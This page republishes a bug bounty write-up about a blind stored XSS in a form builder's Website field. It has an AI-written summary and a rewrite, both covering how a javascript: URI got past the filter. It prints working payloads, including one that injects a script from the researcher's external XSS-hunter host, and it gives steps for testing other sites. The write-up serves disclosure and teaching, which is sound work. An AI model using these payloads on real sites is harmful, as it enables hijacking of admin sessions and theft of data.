Skip to content
XSS Write-up Intermediate

Hack your form new vector for BXSS

A form builder allowed users to submit a website URL that was rendered as a link without proper validation, so an attacker could inject a javascript: URI that executed when the form creator viewed the submission. This led to blind stored cross-site scripting against the form creator.

Youssef A. Mohamed Follow

Published on medium.com

Bounty$800 View original

I’m Youssef A. Mohamed aka GeneralEGSecurity Researcher @CESPPA , Cyber Security Engineer @Squnityand SRT Member @Synack

Youssef A. Mohamed, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

The target is a private bug bounty program, referred to throughout as redacted.com. The feature under test is a form builder: a creator user builds a form, shares the link with visitors, visitors fill it in, and the submitted information is then available to the form's creator at:

Text
redacted.com/manager/{Form ID}/

Among the fields offered when creating a form is a Website input. The value a visitor types there is later shown to the form's creator in the manager view; in the researcher's first test the link was rendered inside an anchor (a) tag.

Setup

Two roles are needed to reproduce this:

  1. A creator account, which builds the form and later views the submissions in the manager panel.
  2. A visitor session, which fills in the form and supplies the Website value.

No special tooling is described beyond a browser and manual fuzzing of the input. The researcher notes that the same issue was found in many targets and that this program is used as the example; the program is private, hence the redaction.

Finding it

While testing the form creation functions, the researcher noticed the Website input and made a simple form containing it.

From the original on medium.com

The form was then opened as a visitor. The first idea was the basic reflected-style probe: if the value were placed into an attribute or into markup without encoding, a quote followed by a payload would break out. The value submitted was:

Text
https://example.com/?"%22"

That is a double quote, its URL-encoded form (%22) and its HTML-entity form ("), all in one string, to see which decoding stage the application applied.

Opening the creator account to inspect the submission showed the filter had encoded the double quotes, and the stored value came back as:

Text
https://example.com"%22"

The link was rendered inside an a tag.

From the original on medium.com

So the obvious breakout was closed off: the quote characters were neutralised before rendering. The researcher took a break, then came back to the problem.

From the original on medium.com

Exploitation

Step 1: fuzz the scheme

Instead of attacking the quoting, the researcher started fuzzing the {Enter Website} input, looking at what the filter would accept as a value at all. One result stood out: the filter accepted a value with an arbitrary scheme prefix:

Text
test:https://example.com
From the original on medium.com

This matters because a Website field is normally validated as a URL, and a validator that only checks for the presence of https:// somewhere in the string would accept anything in front of it.

Step 2: confirm the scheme is used as a link target

With an arbitrary prefix accepted, the next test was a dangerous scheme:

Text
javascript:https//evil.com

This worked.

From the original on medium.com

Step 3: make it a valid, self-contained payload

The bare javascript: value proved execution, but the researcher wanted a payload that also looked like a real website, so the payload needed a real website merged with it. The result was:

JavaScript
javascript:x='http://x.c';alert('xss');//

This executed.

From the original on medium.com

Step 4: turn it into blind XSS

An alert only proves execution in the visitor's own browser. The valuable target is the form's creator, who opens the manager panel and views the submission. To attack that user, the payload has to load an external script, which is where a blind XSS platform comes in. The final payload was:

JavaScript
javascript:eval('a=document.createElement(\'script\');a.src=\'https://generaleg.xss.ht\';document.body.appendChild(a)');s='https://s.com'
From the original on medium.com

The payload was intended to attack the real admins who view the submissions.

Root cause

The filter accepted a value with an arbitrary scheme prefix in front of a URL.

The quote encoding seen in the first test was a real defence, and it did stop attribute breakout. It did nothing about the scheme, because no quote is needed to abuse href. The two defences were solving different problems, and only one of them was present.

Impact

A visitor to a form containing a Website field could store a javascript: URI, which the researcher aimed at the admins who view submissions. Because the creator is the one viewing the data, this is a stored, blind XSS: the attacker does not need to be present when it fires. In the researcher's own framing, the best scenario is attacking the real admins who review form submissions.

The researcher notes that 80% of their targets with a Website input were vulnerable to the same scenario.

Fix

The report does not describe what the program changed. The existing quote encoding should stay.

Variants to test

The researcher gives two checks to run against other targets with a Website input:

  1. Submit a value with a foreign scheme in front of a valid URL, for example javascript:https://generaleg0x01.com. A positive result is that the application accepts the other URI scheme.
  2. Submit a normal URL such as https://generaleg0x01.com and inspect the manager or profile view. A positive result is that the value is rendered inside an HTML a tag.

Where both hold, the researcher states the same payload will work in most similar situations. The general lesson drawn is to fuzz as much as possible and not to stop after one filter-bypass technique fails.

Timeline

Date Event
20 December 2018 Report submitted
25 December 2018 Report reviewed and triaged
30 December 2018 Report resolved and 800 USD bounty awarded

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

What happened, in plain words

A security researcher found a bug in a private bug bounty program, which we will call redacted.com. The program had a form builder: a person could create a form, share it, and visitors would fill it in. The form had a field called Website. When a visitor typed something into that field, the value was later shown to the form's creator as a clickable link. The researcher found that a value starting with javascript: was accepted in the Website field, and built a payload aimed at the admins who view submissions. This is called a blind cross-site scripting (XSS) attack, because the attacker does not see the result directly; the code is meant to run in another user's browser. The researcher reported it and received an 800 USD bounty.

From the original on medium.com

Hello Pentesters,

I'm Youssef A. Mohamed aka GeneralEG, Security Researcher @CESPPA, Cyber Security Engineer @Squnity and SRT Member @Synack.

From the original on medium.com

Today I'm going to share a juicy finding with you. It's about bypassing a couple of filters to execute malicious JavaScript easily and achieve a Blind Stored XSS. I found this issue in many targets, so I'll take one of these programs as an example. The program is private, so let's call it redacted.com.

How the form service works

Recently I was testing this program and after some reconnaissance I found that the website offers a service to create forms. Here's how it works:

  1. A creator user creates a form.
  2. The creator shares the link with visitors.
  3. A visitor fills in the form.
  4. The filled information is available to the form's creator at redacted.com/manager/{Form ID}/.

So while testing the form creation functions, I found a Website input. I made a simple form.

From the original on medium.com

Then I opened the form as a visitor.

At first I tried the basic approach: I thought that if I wrote website.com?" payload it would execute. So I entered:

Text
https://example.com/?"%22"

This is a double quote, its URL-encoded form (%22), and its HTML-entity form ("), all in one string. Then I opened the creator account to see what happened. But unfortunately, the filter encoded the double quotes. The stored value came back as:

Text
https://example.com"%22"

And I noticed that the link was rendered inside an a tag.

From the original on medium.com

So I decided to grab a cup of coffee.

From the original on medium.com

After a few minutes of deep thinking while drinking my coffee about how to bypass this, I decided to start fuzzing the {Enter Website} input. While fuzzing I noticed that the filter accepted test:https://example.com!

From the original on medium.com

Then I tried javascript:https//evil.com and it worked! "Evil loud laugh"

From the original on medium.com

Now I'm sure there's XSS here, but it needs a real website merged with my payload, so I wrote this one:

JavaScript
javascript:x='http://x.c';alert('xss');//

Finally executed!

From the original on medium.com

But wait, we want to make it Blind XSS to attack the real admins (the best scenario). So the last payload was:

JavaScript
javascript:eval('a=document.createElement(\'script\');a.src=\'https://generaleg.xss.ht\';document.body.appendChild(a)');s='https://s.com'
From the original on medium.com

¯_(ツ)_/¯

That's it!

Notes

  • 80% of my targets which have a Website input were vulnerable to the same scenario.

  • To make sure your target is vulnerable to the same problem, you need a few steps:

    A. Check if the website accepts other URI schemes like javascript:https://generaleg0x01.com or not.

    B. Check if the website renders your https://generaleg0x01.com inside an HTML a tag or not.

  • In most similar situations, the same payload will work perfectly.

Timeline

Date Event
20 December 2018 Report submitted
25 December 2018 Report reviewed and triaged
30 December 2018 Report resolved and 800 USD bounty awarded

Learned lessons

  • Fuzz as much as you can.
  • Don't try just one technique to bypass the filter; try other techniques too.

Glossary

  • Blind XSS: A cross-site scripting attack where the attacker does not see the result directly; the malicious script executes in a different user's browser (like an admin) when they view the injected content.
  • Stored XSS: A type of XSS where the malicious script is saved on the server (e.g. in a database) and later served to other users.
  • XSS (Cross-Site Scripting): A vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users.
  • Filter: A security mechanism that checks and modifies input to prevent malicious data from being processed.
  • Fuzzing: Automated or semi-automated testing where many different inputs are sent to a system to discover how it behaves and find vulnerabilities.
  • URI scheme: The part of a URL before the colon (e.g. http:, https:, javascript:), which tells the browser how to handle the link.
  • javascript: URI: A URI scheme that executes JavaScript code when clicked, instead of navigating to a web page.
  • a tag: An HTML anchor element used to create hyperlinks.
  • href attribute: The attribute of an a tag that specifies the URL the link points to.
  • URL encoding: A way to represent special characters in a URL using percent signs and hexadecimal numbers (e.g. %22 for a double quote).
  • HTML entity encoding: A way to represent special characters in HTML using ampersand and codes (e.g. " for a double quote).
  • eval: A JavaScript function that executes a string as code.
  • document.createElement: A JavaScript method to create a new HTML element.
  • appendChild: A JavaScript method to add a node to the end of a list of children of a parent node.
  • XSS hunter: A service that helps detect and manage blind XSS vulnerabilities by hosting payloads and logging when they execute.
  • Bounty: A monetary reward given by a bug bounty program for reporting a valid security vulnerability.
  • Triaged: The process where a security team reviews a report and confirms the vulnerability.
  • Resolved: The status the report was given in the program's timeline.

More by Youssef A. Mohamed

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.